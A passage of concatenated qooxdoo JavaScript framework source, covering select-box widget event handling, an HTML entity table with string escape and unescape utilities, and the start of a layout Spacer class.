Handler for the blur event of the current widget. * * @param e {qx.event.type.Focus} The blur event. */ _onBlur : function(e) { this.close(); }, /** * Reacts on special keys and forwards other key events to the list widget. * * @param e {qx.event.type.KeySequence} Keypress event */ _onKeyPress : function(e) { // get the key identifier var identifier = e.getKeyIdentifier(); var listPopup = this.getChildControl("popup"); // disabled pageUp and pageDown keys if (listPopup.isHidden() && (identifier == "PageDown" || identifier == "PageUp")) { e.stopPropagation(); } // hide the list always on escape else if (!listPopup.isHidden() && identifier == "Escape") { this.close(); e.stop(); } // forward the rest of the events to the list else { this.getChildControl("list").handleKeyPress(e); } }, /** * Close the pop-up if the mousewheel event isn't on the pup-up window. * * @param e {qx.event.type.Mouse} Mousewheel event. */ _onMousewheel : function(e) { var target = e.getTarget(); var popup = this.getChildControl("popup", true); if (popup == null) { return; } if (qx.ui.core.Widget.contains(popup, target)) { // needed for ComboBox widget inside an inline application e.preventDefault(); } else { this.close(); } }, /** * Updates list minimum size. * * @param e {qx.event.type.Data} Data event */ _onResize : function(e){ this.getChildControl("popup").setMinWidth(e.getData().width); }, /** * Syncs the own property from the list change * * @param e {qx.event.type.Data} Data Event */ _onListChangeSelection : function(e) { throw new Error("Abstract method: _onListChangeSelection()"); }, /** * Redirects mousedown event from the list to this widget. * * @param e {qx.event.type.Mouse} Mouse Event */ _onListMouseDown : function(e) { throw new Error("Abstract method: _onListMouseDown()"); }, /** * Redirects changeVisibility event from the list to this widget. * * @param e {qx.event.type.Data} Property change event */ _onPopupChangeVisibility : function(e) { e.getData() == "visible" ? this.addState("popupOpen") : this.removeState("popupOpen"); } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { var root = qx.core.Init.getApplication().getRoot(); if (root) { root.removeListener("mousewheel", this._onMousewheel, this, true); } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * A Collection of utility functions to escape and unescape strings. */ qx.Class.define("qx.bom.String", { /* ***************************************************************************** STATICS ***************************************************************************** */ statics : { /** Mapping of HTML entity names to the corresponding char code */ TO_CHARCODE : { "quot" : 34, // " - double-quote "amp" : 38, // & "lt" : 60, // < "gt" : 62, // > // http://www.w3.org/TR/REC-html40/sgml/entities.html // ISO 8859-1 characters "nbsp" : 160, // no-break space "iexcl" : 161, // inverted exclamation mark "cent" : 162, // cent sign "pound" : 163, // pound sterling sign "curren" : 164, // general currency sign "yen" : 165, // yen sign "brvbar" : 166, // broken (vertical) bar "sect" : 167, // section sign "uml" : 168, // umlaut (dieresis) "copy" : 169, // copyright sign "ordf" : 170, // ordinal indicator, feminine "laquo" : 171, // angle quotation mark, left "not" : 172, // not sign "shy" : 173, // soft hyphen "reg" : 174, // registered sign "macr" : 175, // macron "deg" : 176, // degree sign "plusmn" : 177, // plus-or-minus sign "sup2" : 178, // superscript two "sup3" : 179, // superscript three "acute" : 180, // acute accent "micro" : 181, // micro sign "para" : 182, // pilcrow (paragraph sign) "middot" : 183, // middle dot "cedil" : 184, // cedilla "sup1" : 185, // superscript one "ordm" : 186, // ordinal indicator, masculine "raquo" : 187, // angle quotation mark, right "frac14" : 188, // fraction one-quarter "frac12" : 189, // fraction one-half "frac34" : 190, // fraction three-quarters "iquest" : 191, // inverted question mark "Agrave" : 192, // capital A, grave accent "Aacute" : 193, // capital A, acute accent "Acirc" : 194, // capital A, circumflex accent "Atilde" : 195, // capital A, tilde "Auml" : 196, // capital A, dieresis or umlaut mark "Aring" : 197, // capital A, ring "AElig" : 198, // capital AE diphthong (ligature) "Ccedil" : 199, // capital C, cedilla "Egrave" : 200, // capital E, grave accent "Eacute" : 201, // capital E, acute accent "Ecirc" : 202, // capital E, circumflex accent "Euml" : 203, // capital E, dieresis or umlaut mark "Igrave" : 204, // capital I, grave accent "Iacute" : 205, // capital I, acute accent "Icirc" : 206, // capital I, circumflex accent "Iuml" : 207, // capital I, dieresis or umlaut mark "ETH" : 208, // capital Eth, Icelandic "Ntilde" : 209, // capital N, tilde "Ograve" : 210, // capital O, grave accent "Oacute" : 211, // capital O, acute accent "Ocirc" : 212, // capital O, circumflex accent "Otilde" : 213, // capital O, tilde "Ouml" : 214, // capital O, dieresis or umlaut mark "times" : 215, // multiply sign "Oslash" : 216, // capital O, slash "Ugrave" : 217, // capital U, grave accent "Uacute" : 218, // capital U, acute accent "Ucirc" : 219, // capital U, circumflex accent "Uuml" : 220, // capital U, dieresis or umlaut mark "Yacute" : 221, // capital Y, acute accent "THORN" : 222, // capital THORN, Icelandic "szlig" : 223, // small sharp s, German (sz ligature) "agrave" : 224, // small a, grave accent "aacute" : 225, // small a, acute accent "acirc" : 226, // small a, circumflex accent "atilde" : 227, // small a, tilde "auml" : 228, // small a, dieresis or umlaut mark "aring" : 229, // small a, ring "aelig" : 230, // small ae diphthong (ligature) "ccedil" : 231, // small c, cedilla "egrave" : 232, // small e, grave accent "eacute" : 233, // small e, acute accent "ecirc" : 234, // small e, circumflex accent "euml" : 235, // small e, dieresis or umlaut mark "igrave" : 236, // small i, grave accent "iacute" : 237, // small i, acute accent "icirc" : 238, // small i, circumflex accent "iuml" : 239, // small i, dieresis or umlaut mark "eth" : 240, // small eth, Icelandic "ntilde" : 241, // small n, tilde "ograve" : 242, // small o, grave accent "oacute" : 243, // small o, acute accent "ocirc" : 244, // small o, circumflex accent "otilde" : 245, // small o, tilde "ouml" : 246, // small o, dieresis or umlaut mark "divide" : 247, // divide sign "oslash" : 248, // small o, slash "ugrave" : 249, // small u, grave accent "uacute" : 250, // small u, acute accent "ucirc" : 251, // small u, circumflex accent "uuml" : 252, // small u, dieresis or umlaut mark "yacute" : 253, // small y, acute accent "thorn" : 254, // small thorn, Icelandic "yuml" : 255, // small y, dieresis or umlaut mark // Latin Extended-B "fnof" : 402, // latin small f with hook = function= florin, U+0192 ISOtech // Greek "Alpha" : 913, // greek capital letter alpha, U+0391 "Beta" : 914, // greek capital letter beta, U+0392 "Gamma" : 915, // greek capital letter gamma,U+0393 ISOgrk3 "Delta" : 916, // greek capital letter delta,U+0394 ISOgrk3 "Epsilon" : 917, // greek capital letter epsilon, U+0395 "Zeta" : 918, // greek capital letter zeta, U+0396 "Eta" : 919, // greek capital letter eta, U+0397 "Theta" : 920, // greek capital letter theta,U+0398 ISOgrk3 "Iota" : 921, // greek capital letter iota, U+0399 "Kappa" : 922, // greek capital letter kappa, U+039A "Lambda" : 923, // greek capital letter lambda,U+039B ISOgrk3 "Mu" : 924, // greek capital letter mu, U+039C "Nu" : 925, // greek capital letter nu, U+039D "Xi" : 926, // greek capital letter xi, U+039E ISOgrk3 "Omicron" : 927, // greek capital letter omicron, U+039F "Pi" : 928, // greek capital letter pi, U+03A0 ISOgrk3 "Rho" : 929, // greek capital letter rho, U+03A1 // there is no Sigmaf, and no U+03A2 character either "Sigma" : 931, // greek capital letter sigma,U+03A3 ISOgrk3 "Tau" : 932, // greek capital letter tau, U+03A4 "Upsilon" : 933, // greek capital letter upsilon,U+03A5 ISOgrk3 "Phi" : 934, // greek capital letter phi,U+03A6 ISOgrk3 "Chi" : 935, // greek capital letter chi, U+03A7 "Psi" : 936, // greek capital letter psi,U+03A8 ISOgrk3 "Omega" : 937, // greek capital letter omega,U+03A9 ISOgrk3 "alpha" : 945, // greek small letter alpha,U+03B1 ISOgrk3 "beta" : 946, // greek small letter beta, U+03B2 ISOgrk3 "gamma" : 947, // greek small letter gamma,U+03B3 ISOgrk3 "delta" : 948, // greek small letter delta,U+03B4 ISOgrk3 "epsilon" : 949, // greek small letter epsilon,U+03B5 ISOgrk3 "zeta" : 950, // greek small letter zeta, U+03B6 ISOgrk3 "eta" : 951, // greek small letter eta, U+03B7 ISOgrk3 "theta" : 952, // greek small letter theta,U+03B8 ISOgrk3 "iota" : 953, // greek small letter iota, U+03B9 ISOgrk3 "kappa" : 954, // greek small letter kappa,U+03BA ISOgrk3 "lambda" : 955, // greek small letter lambda,U+03BB ISOgrk3 "mu" : 956, // greek small letter mu, U+03BC ISOgrk3 "nu" : 957, // greek small letter nu, U+03BD ISOgrk3 "xi" : 958, // greek small letter xi, U+03BE ISOgrk3 "omicron" : 959, // greek small letter omicron, U+03BF NEW "pi" : 960, // greek small letter pi, U+03C0 ISOgrk3 "rho" : 961, // greek small letter rho, U+03C1 ISOgrk3 "sigmaf" : 962, // greek small letter final sigma,U+03C2 ISOgrk3 "sigma" : 963, // greek small letter sigma,U+03C3 ISOgrk3 "tau" : 964, // greek small letter tau, U+03C4 ISOgrk3 "upsilon" : 965, // greek small letter upsilon,U+03C5 ISOgrk3 "phi" : 966, // greek small letter phi, U+03C6 ISOgrk3 "chi" : 967, // greek small letter chi, U+03C7 ISOgrk3 "psi" : 968, // greek small letter psi, U+03C8 ISOgrk3 "omega" : 969, // greek small letter omega,U+03C9 ISOgrk3 "thetasym" : 977, // greek small letter theta symbol,U+03D1 NEW "upsih" : 978, // greek upsilon with hook symbol,U+03D2 NEW "piv" : 982, // greek pi symbol, U+03D6 ISOgrk3 // General Punctuation "bull" : 8226, // bullet = black small circle,U+2022 ISOpub // bullet is NOT the same as bullet operator, U+2219 "hellip" : 8230, // horizontal ellipsis = three dot leader,U+2026 ISOpub "prime" : 8242, // prime = minutes = feet, U+2032 ISOtech "Prime" : 8243, // double prime = seconds = inches,U+2033 ISOtech "oline" : 8254, // overline = spacing overscore,U+203E NEW "frasl" : 8260, // fraction slash, U+2044 NEW // Letterlike Symbols "weierp" : 8472, // script capital P = power set= Weierstrass p, U+2118 ISOamso "image" : 8465, // blackletter capital I = imaginary part,U+2111 ISOamso "real" : 8476, // blackletter capital R = real part symbol,U+211C ISOamso "trade" : 8482, // trade mark sign, U+2122 ISOnum "alefsym" : 8501, // alef symbol = first transfinite cardinal,U+2135 NEW // alef symbol is NOT the same as hebrew letter alef,U+05D0 although the same glyph could be used to depict both characters // Arrows "larr" : 8592, // leftwards arrow, U+2190 ISOnum "uarr" : 8593, // upwards arrow, U+2191 ISOnum--> "rarr" : 8594, // rightwards arrow, U+2192 ISOnum "darr" : 8595, // downwards arrow, U+2193 ISOnum "harr" : 8596, // left right arrow, U+2194 ISOamsa "crarr" : 8629, // downwards arrow with corner leftwards= carriage return, U+21B5 NEW "lArr" : 8656, // leftwards double arrow, U+21D0 ISOtech // ISO 10646 does not say that lArr is the same as the 'is implied by' arrowbut also does not have any other character for that function. So ? lArr canbe used for 'is implied by' as ISOtech suggests "uArr" : 8657, // upwards double arrow, U+21D1 ISOamsa "rArr" : 8658, // rightwards double arrow,U+21D2 ISOtech // ISO 10646 does not say this is the 'implies' character but does not have another character with this function so ?rArr can be used for 'implies' as ISOtech suggests "dArr" : 8659, // downwards double arrow, U+21D3 ISOamsa "hArr" : 8660, // left right double arrow,U+21D4 ISOamsa // Mathematical Operators "forall" : 8704, // for all, U+2200 ISOtech "part" : 8706, // partial differential, U+2202 ISOtech "exist" : 8707, // there exists, U+2203 ISOtech "empty" : 8709, // empty set = null set = diameter,U+2205 ISOamso "nabla" : 8711, // nabla = backward difference,U+2207 ISOtech "isin" : 8712, // element of, U+2208 ISOtech "notin" : 8713, // not an element of, U+2209 ISOtech "ni" : 8715, // contains as member, U+220B ISOtech // should there be a more memorable name than 'ni'? "prod" : 8719, // n-ary product = product sign,U+220F ISOamsb // prod is NOT the same character as U+03A0 'greek capital letter pi' though the same glyph might be used for both "sum" : 8721, // n-ary summation, U+2211 ISOamsb // sum is NOT the same character as U+03A3 'greek capital letter sigma' though the same glyph might be used for both "minus" : 8722, // minus sign, U+2212 ISOtech "lowast" : 8727, // asterisk operator, U+2217 ISOtech "radic" : 8730, // square root = radical sign,U+221A ISOtech "prop" : 8733, // proportional to, U+221D ISOtech "infin" : 8734, // infinity, U+221E ISOtech "ang" : 8736, // angle, U+2220 ISOamso "and" : 8743, // logical and = wedge, U+2227 ISOtech "or" : 8744, // logical or = vee, U+2228 ISOtech "cap" : 8745, // intersection = cap, U+2229 ISOtech "cup" : 8746, // union = cup, U+222A ISOtech "int" : 8747, // integral, U+222B ISOtech "there4" : 8756, // therefore, U+2234 ISOtech "sim" : 8764, // tilde operator = varies with = similar to,U+223C ISOtech // tilde operator is NOT the same character as the tilde, U+007E,although the same glyph might be used to represent both "cong" : 8773, // approximately equal to, U+2245 ISOtech "asymp" : 8776, // almost equal to = asymptotic to,U+2248 ISOamsr "ne" : 8800, // not equal to, U+2260 ISOtech "equiv" : 8801, // identical to, U+2261 ISOtech "le" : 8804, // less-than or equal to, U+2264 ISOtech "ge" : 8805, // greater-than or equal to,U+2265 ISOtech "sub" : 8834, // subset of, U+2282 ISOtech "sup" : 8835, // superset of, U+2283 ISOtech // note that nsup, 'not a superset of, U+2283' is not covered by the Symbol font encoding and is not included. Should it be, for symmetry?It is in ISOamsn --> <!ENTITY nsub": 8836, //not a subset of, U+2284 ISOamsn "sube" : 8838, // subset of or equal to, U+2286 ISOtech "supe" : 8839, // superset of or equal to,U+2287 ISOtech "oplus" : 8853, // circled plus = direct sum,U+2295 ISOamsb "otimes" : 8855, // circled times = vector product,U+2297 ISOamsb "perp" : 8869, // up tack = orthogonal to = perpendicular,U+22A5 ISOtech "sdot" : 8901, // dot operator, U+22C5 ISOamsb // dot operator is NOT the same character as U+00B7 middle dot // Miscellaneous Technical "lceil" : 8968, // left ceiling = apl upstile,U+2308 ISOamsc "rceil" : 8969, // right ceiling, U+2309 ISOamsc "lfloor" : 8970, // left floor = apl downstile,U+230A ISOamsc "rfloor" : 8971, // right floor, U+230B ISOamsc "lang" : 9001, // left-pointing angle bracket = bra,U+2329 ISOtech // lang is NOT the same character as U+003C 'less than' or U+2039 'single left-pointing angle quotation mark' "rang" : 9002, // right-pointing angle bracket = ket,U+232A ISOtech // rang is NOT the same character as U+003E 'greater than' or U+203A 'single right-pointing angle quotation mark' // Geometric Shapes "loz" : 9674, // lozenge, U+25CA ISOpub // Miscellaneous Symbols "spades" : 9824, // black spade suit, U+2660 ISOpub // black here seems to mean filled as opposed to hollow "clubs" : 9827, // black club suit = shamrock,U+2663 ISOpub "hearts" : 9829, // black heart suit = valentine,U+2665 ISOpub "diams" : 9830, // black diamond suit, U+2666 ISOpub // Latin Extended-A "OElig" : 338, // -- latin capital ligature OE,U+0152 ISOlat2 "oelig" : 339, // -- latin small ligature oe, U+0153 ISOlat2 // ligature is a misnomer, this is a separate character in some languages "Scaron" : 352, // -- latin capital letter S with caron,U+0160 ISOlat2 "scaron" : 353, // -- latin small letter s with caron,U+0161 ISOlat2 "Yuml" : 376, // -- latin capital letter Y with diaeresis,U+0178 ISOlat2 // Spacing Modifier Letters "circ" : 710, // -- modifier letter circumflex accent,U+02C6 ISOpub "tilde" : 732, // small tilde, U+02DC ISOdia // General Punctuation "ensp" : 8194, // en space, U+2002 ISOpub "emsp" : 8195, // em space, U+2003 ISOpub "thinsp" : 8201, // thin space, U+2009 ISOpub "zwnj" : 8204, // zero width non-joiner,U+200C NEW RFC 2070 "zwj" : 8205, // zero width joiner, U+200D NEW RFC 2070 "lrm" : 8206, // left-to-right mark, U+200E NEW RFC 2070 "rlm" : 8207, // right-to-left mark, U+200F NEW RFC 2070 "ndash" : 8211, // en dash, U+2013 ISOpub "mdash" : 8212, // em dash, U+2014 ISOpub "lsquo" : 8216, // left single quotation mark,U+2018 ISOnum "rsquo" : 8217, // right single quotation mark,U+2019 ISOnum "sbquo" : 8218, // single low-9 quotation mark, U+201A NEW "ldquo" : 8220, // left double quotation mark,U+201C ISOnum "rdquo" : 8221, // right double quotation mark,U+201D ISOnum "bdquo" : 8222, // double low-9 quotation mark, U+201E NEW "dagger" : 8224, // dagger, U+2020 ISOpub "Dagger" : 8225, // double dagger, U+2021 ISOpub "permil" : 8240, // per mille sign, U+2030 ISOtech "lsaquo" : 8249, // single left-pointing angle quotation mark,U+2039 ISO proposed // lsaquo is proposed but not yet ISO standardized "rsaquo" : 8250, // single right-pointing angle quotation mark,U+203A ISO proposed // rsaquo is proposed but not yet ISO standardized "euro" : 8364 // -- euro sign, U+20AC NEW }, /** * Escapes the characters in a <code>String</code> using HTML entities. * * For example: <tt>"bread" & "butter"</tt> => <tt>&amp;quot;bread&amp;quot; &amp;amp; &amp;quot;butter&amp;quot;</tt>. * Supports all known HTML 4.0 entities, including funky accents. * * * <a href="http://www.w3.org/TR/REC-html32#latin1">HTML 3.2 Character Entities for ISO Latin-1</a> * * <a href="http://www.w3.org/TR/REC-html40/sgml/entities.html">HTML 4.0 Character entity references</a> * * <a href="http://www.w3.org/TR/html401/charset.html#h-5.3">HTML 4.01 Character References</a> * * <a href="http://www.w3.org/TR/html401/charset.html#code-position">HTML 4.01 Code positions</a> * * @param str {String} the String to escape * @return {String} a new escaped String * @see #unescape */ escape : function(str) { return qx.util.StringEscape.escape(str, qx.bom.String.FROM_CHARCODE); }, /** * Unescapes a string containing entity escapes to a string * containing the actual Unicode characters corresponding to the * escapes. Supports HTML 4.0 entities. * * For example, the string "&amp;lt;Fran&amp;ccedil;ais&amp;gt;" * will become "&lt;Fran&ccedil;ais&gt;" * * If an entity is unrecognized, it is left alone, and inserted * verbatim into the result string. e.g. "&amp;gt;&amp;zzzz;x" will * become "&gt;&amp;zzzz;x". * * @param str {String} the String to unescape, may be null * @return {var} a new unescaped String * @see #escape */ unescape : function(str) { return qx.util.StringEscape.unescape(str, qx.bom.String.TO_CHARCODE); }, /** * Converts a plain text string into HTML. * This is similar to {@link #escape} but converts new lines to * <tt>&lt:br&gt:</tt> and preserves whitespaces. * * @param str {String} the String to convert * @return {String} a new converted String * @see #escape */ fromText : function(str) { return qx.bom.String.escape(str).replace(/( |\n)/g, function(chr) { var map = { " " : " &nbsp;", "\n" : "<br>" }; return map[chr] || chr; }); }, /** * Converts HTML to plain text. * * * Strips all HTML tags * * converts <tt>&lt:br&gt:</tt> to new line * * unescapes HTML entities * * @param str {String} HTML string to converts * @return {String} plain text representation of the HTML string */ toText : function(str) { return qx.bom.String.unescape(str.replace(/\s+|<([^>])+>/gi, function(chr) //return qx.bom.String.unescape(str.replace(/<\/?[^>]+(>|$)/gi, function(chr) { if (chr.indexOf("<br") === 0) { return "\n"; } else if (chr.length > 0 && chr.replace(/^\s*/, "").replace(/\s*$/, "") == "") { return " "; } else { return ""; } })); } }, /* ***************************************************************************** DEFER ***************************************************************************** */ defer : function(statics) { /** Mapping of char codes to HTML entity names */ statics.FROM_CHARCODE = qx.lang.Object.invert(statics.TO_CHARCODE) } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * Generic escaping and unescaping of DOM strings. * * {@link qx.bom.String} for (un)escaping of HTML strings. * {@link qx.xml.String} for (un)escaping of XML strings. */ qx.Class.define("qx.util.StringEscape", { statics : { /** * generic escaping method * * @param str {String} string to escape * @param charCodeToEntities {Map} entity to charcode map * @return {String} escaped string * @signature function(str, charCodeToEntities) */ escape : function(str, charCodeToEntities) { var entity, result = ""; for (var i=0, l=str.length; i<l; i++) { var chr = str.charAt(i); var code = chr.charCodeAt(0); if (charCodeToEntities[code]) { entity = "&" + charCodeToEntities[code] + ";"; } else { if (code > 0x7F) { entity = "&#" + code + ";"; } else { entity = chr; } } result += entity; } return result; }, /** * generic unescaping method * * @param str {String} string to unescape * @param entitiesToCharCode {Map} charcode to entity map * @return {String} unescaped string */ unescape : function(str, entitiesToCharCode) { return str.replace(/&[#\w]+;/gi, function(entity) { var chr = entity; var entity = entity.substring(1, entity.length - 1); var code = entitiesToCharCode[entity]; if (code) { chr = String.fromCharCode(code); } else { if (entity.charAt(0) == '#') { if (entity.charAt(1).toUpperCase() == 'X') { code = entity.substring(2); // match hex number if (code.match(/^[0-9A-Fa-f]+$/gi)) { chr = String.fromCharCode(parseInt(code, 16)); } } else { code = entity.substring(1); // match integer if (code.match(/^\d+$/gi)) { chr = String.fromCharCode(parseInt(code, 10)); } } } } return chr; }); } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) * Sebastian Werner (wpbasti) * Jonathan Weiß (jonathan_rass) * Christian Hagendorn (chris_schmidt) ************************************************************************ */ /** * A form widget which allows a single selection. Looks somewhat like * a normal button, but opens a list of items to select when clicking on it. * * Keep in mind that the SelectBox widget has always a selected item (due to the * single selection mode). Right after adding the first item a <code>changeSelection</code> * event is fired. * * <pre class='javascript'> * var selectBox = new qx.ui.form.SelectBox(); * * selectBox.addListener("changeSelection", function(e) { * // ... * }); * * // now the 'changeSelection' event is fired * selectBox.add(new qx.ui.form.ListItem("Item 1"); * </pre> * * @childControl spacer {qx.ui.core.Spacer} flexible spacer widget * @childControl atom {qx.ui.basic.Atom} shows the text and icon of the content * @childControl arrow {qx.ui.basic.Image} shows the arrow to open the popup */ qx.Class.define("qx.ui.form.SelectBox", { extend : qx.ui.form.AbstractSelectBox, implement : [ qx.ui.core.ISingleSelection, qx.ui.form.IModelSelection ], include : [qx.ui.core.MSingleSelectionHandling, qx.ui.form.MModelSelection], /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ construct : function() { this.base(arguments); this._createChildControl("atom"); this._createChildControl("spacer"); this._createChildControl("arrow"); // Register listener this.addListener("mouseover", this._onMouseOver, this); this.addListener("mouseout", this._onMouseOut, this); this.addListener("click", this._onClick, this); this.addListener("mousewheel", this._onMouseWheel, this); this.addListener("keyinput", this._onKeyInput, this); this.addListener("changeSelection", this.__onChangeSelection, this); }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { // overridden appearance : { refine : true, init : "selectbox" } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /** {qx.ui.form.ListItem} instance */ __preSelectedItem : null, /* --------------------------------------------------------------------------- WIDGET API --------------------------------------------------------------------------- */ // overridden _createChildControlImpl : function(id, hash) { var control; switch(id) { case "spacer": control = new qx.ui.core.Spacer(); this._add(control, {flex: 1}); break; case "atom": control = new qx.ui.basic.Atom(" "); control.setCenter(false); control.setAnonymous(true); this._add(control, {flex:1}); break; case "arrow": control = new qx.ui.basic.Image(); control.setAnonymous(true); this._add(control); break; } return control || this.base(arguments, id); }, // overridden /** * @lint ignoreReferenceField(_forwardStates) */ _forwardStates : { focused : true }, /* --------------------------------------------------------------------------- HELPER METHODS FOR SELECTION API --------------------------------------------------------------------------- */ /** * Returns the list items for the selection. * * @return {qx.ui.form.ListItem[]} List itmes to select. */ _getItems : function() { return this.getChildrenContainer().getChildren(); }, /** * Returns if the selection could be empty or not. * * @return {Boolean} <code>true</code> If selection could be empty, * <code>false</code> otherwise. */ _isAllowEmptySelection: function() { return this.getChildrenContainer().getSelectionMode() !== "one"; }, /** * Event handler for <code>changeSelection</code>. * * @param e {qx.event.type.Data} Data event. */ __onChangeSelection : function(e) { var listItem = e.getData()[0]; var list = this.getChildControl("list"); if (list.getSelection()[0] != listItem) { if(listItem) { list.setSelection([listItem]); } else { list.resetSelection(); } } this.__updateIcon(); this.__updateLabel(); }, /** * Sets the icon inside the list to match the selected ListItem. */ __updateIcon : function() { var listItem = this.getChildControl("list").getSelection()[0]; var atom = this.getChildControl("atom"); var icon = listItem ? listItem.getIcon() : ""; icon == null ? atom.resetIcon() : atom.setIcon(icon); }, /** * Sets the label inside the list to match the selected ListItem. */ __updateLabel : function() { var listItem = this.getChildControl("list").getSelection()[0]; var atom = this.getChildControl("atom"); var label = listItem ? listItem.getLabel() : ""; var format = this.getFormat(); if (format != null) { label = format.call(this, listItem); } // check for translation if (label && label.translate) { label = label.translate(); } label == null ? atom.resetLabel() : atom.setLabel(label); }, /* --------------------------------------------------------------------------- EVENT LISTENERS --------------------------------------------------------------------------- */ /** * Listener method for "mouseover" event * <ul> * <li>Adds state "hovered"</li> * <li>Removes "abandoned" and adds "pressed" state (if "abandoned" state is set)</li> * </ul> * * @param e {Event} Mouse event */ _onMouseOver : function(e) { if (!this.isEnabled() || e.getTarget() !== this) { return; } if (this.hasState("abandoned")) { this.removeState("abandoned"); this.addState("pressed"); } this.addState("hovered"); }, /** * Listener method for "mouseout" event * <ul> * <li>Removes "hovered" state</li> * <li>Adds "abandoned" and removes "pressed" state (if "pressed" state is set)</li> * </ul> * * @param e {Event} Mouse event */ _onMouseOut : function(e) { if (!this.isEnabled() || e.getTarget() !== this) { return; } this.removeState("hovered"); if (this.hasState("pressed")) { this.removeState("pressed"); this.addState("abandoned"); } }, /** * Toggles the popup's visibility. * * @param e {qx.event.type.Mouse} Mouse event */ _onClick : function(e) { this.toggle(); }, /** * Event handler for mousewheel event * * @param e {qx.event.type.Mouse} Mouse event */ _onMouseWheel : function(e) { if (this.getChildControl("popup").isVisible()) { return; } var direction = e.getWheelDelta("y") > 0 ? 1 : -1; var children = this.getSelectables(); var selected = this.getSelection()[0]; if (!selected) { selected = children[0]; } var index = children.indexOf(selected) + direction; var max = children.length - 1; // Limit if (index < 0) { index = 0; } else if (index >= max) { index = max; } this.setSelection([children[index]]); // stop the propagation // prevent any other widget from receiving this event // e.g. place a selectbox widget inside a scroll container widget e.stopPropagation(); e.preventDefault(); }, // overridden _onKeyPress : function(e) { var iden = e.getKeyIdentifier(); if(iden == "Enter" || iden == "Space") { // Apply pre-selected item (translate quick selection to real selection) if (this.__preSelectedItem) { this.setSelection([this.__preSelectedItem]); this.__preSelectedItem = null; } this.toggle(); } else { this.base(arguments, e); } }, /** * Forwards key event to list widget. * * @param e {qx.event.type.KeyInput} Key event */ _onKeyInput : function(e) { // clone the event and re-calibrate the event var clone = e.clone(); clone.setTarget(this._list); clone.setBubbles(false); // forward it to the list this.getChildControl("list").dispatchEvent(clone); }, // overridden _onListMouseDown : function(e) { // Apply pre-selected item (translate quick selection to real selection) if (this.__preSelectedItem) { this.setSelection([this.__preSelectedItem]); this.__preSelectedItem = null; } }, // overridden _onListChangeSelection : function(e) { var current = e.getData(); var old = e.getOldData(); // Remove old listeners for icon and label changes. if (old && old.length > 0) { old[0].removeListener("changeIcon", this.__updateIcon, this); old[0].removeListener("changeLabel", this.__updateLabel, this); } if (current.length > 0) { // Ignore quick context (e.g. mouseover) // and configure the new value when closing the popup afterwards var popup = this.getChildControl("popup"); var list = this.getChildControl("list"); var context = list.getSelectionContext(); if (popup.isVisible() && (context == "quick" || context == "key")) { this.__preSelectedItem = current[0]; } else { this.setSelection([current[0]]); this.__preSelectedItem = null; } // Add listeners for icon and label changes current[0].addListener("changeIcon", this.__updateIcon, this); current[0].addListener("changeLabel", this.__updateLabel, this); } else { this.resetSelection(); } }, // overridden _onPopupChangeVisibility : function(e) { this.base(arguments, e); // Synchronize the current selection to the list selection // when the popup is closed. The list selection may be invalid // because of the quick selection handling which is not // directly applied to the selectbox var popup = this.getChildControl("popup"); if (!popup.isVisible()) { var list = this.getChildControl("list"); // check if the list has any children before selecting if (list.hasChildren()) { list.setSelection(this.getSelection()); } } else { // ensure that the list is never biger that the max list height and // the available space in the viewport var distance = popup.getLayoutLocation(this); var viewPortHeight = qx.bom.Viewport.getHeight(); // distance to the bottom and top borders of the viewport var toTop = distance.top; var toBottom = viewPortHeight - distance.bottom; var availableHeigth = toTop > toBottom ? toTop : toBottom; var maxListHeight = this.getMaxListHeight(); var list = this.getChildControl("list") if (maxListHeight == null || maxListHeight > availableHeigth) { list.setMaxHeight(availableHeigth); } else if (maxListHeight < availableHeigth) { list.setMaxHeight(maxListHeight); } } } }, /* ***************************************************************************** DESTRUCT ***************************************************************************** */ destruct : function() { this.__preSelectedItem = null; } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * A Spacer is a "virtual" widget, which can be placed into any layout and takes * the space a normal widget of the same size would take. * * Spacers are invisible and very light weight because they don't require any * DOM modifications. * * *Example* * * Here is a little example of how to use the widget. * * <pre class='javascript'> * var container = new qx.ui.container.Composite(new qx.ui.layout.HBox()); * container.add(new qx.ui.core.Widget()); * container.add(new qx.ui.core.Spacer(50)); * container.add(new qx.ui.core.Widget()); * </pre> * * This example places two widgets and a spacer into a container with a * horizontal box layout. In this scenario the spacer creates an empty area of * 50 pixel width between the two widgets. * * *External Documentation* * * <a href='http://manual.qooxdoo.org/${qxversion}/pages/widget/spacer.html' target='_blank'> * Documentation of this widget in the qooxdoo manual.</a> */ qx.Class.define("qx.ui.core.Spacer", { extend : qx.ui.core.LayoutItem, /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param width {Integer?null} the initial width * @param height {Integer?null} the initial height */ construct : function(width, height) { this.base(arguments); // Initialize dimensions this.setWidth(width != null ? width : 0); this.setHeight(height != null ? height : 0); }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /** * Helper method called from the visibility queue to detect outstanding changes * to the appearance. * * @internal */ checkAppearanceNeeds : function() { // placeholder to improve compatibility with Widget. }, /** * 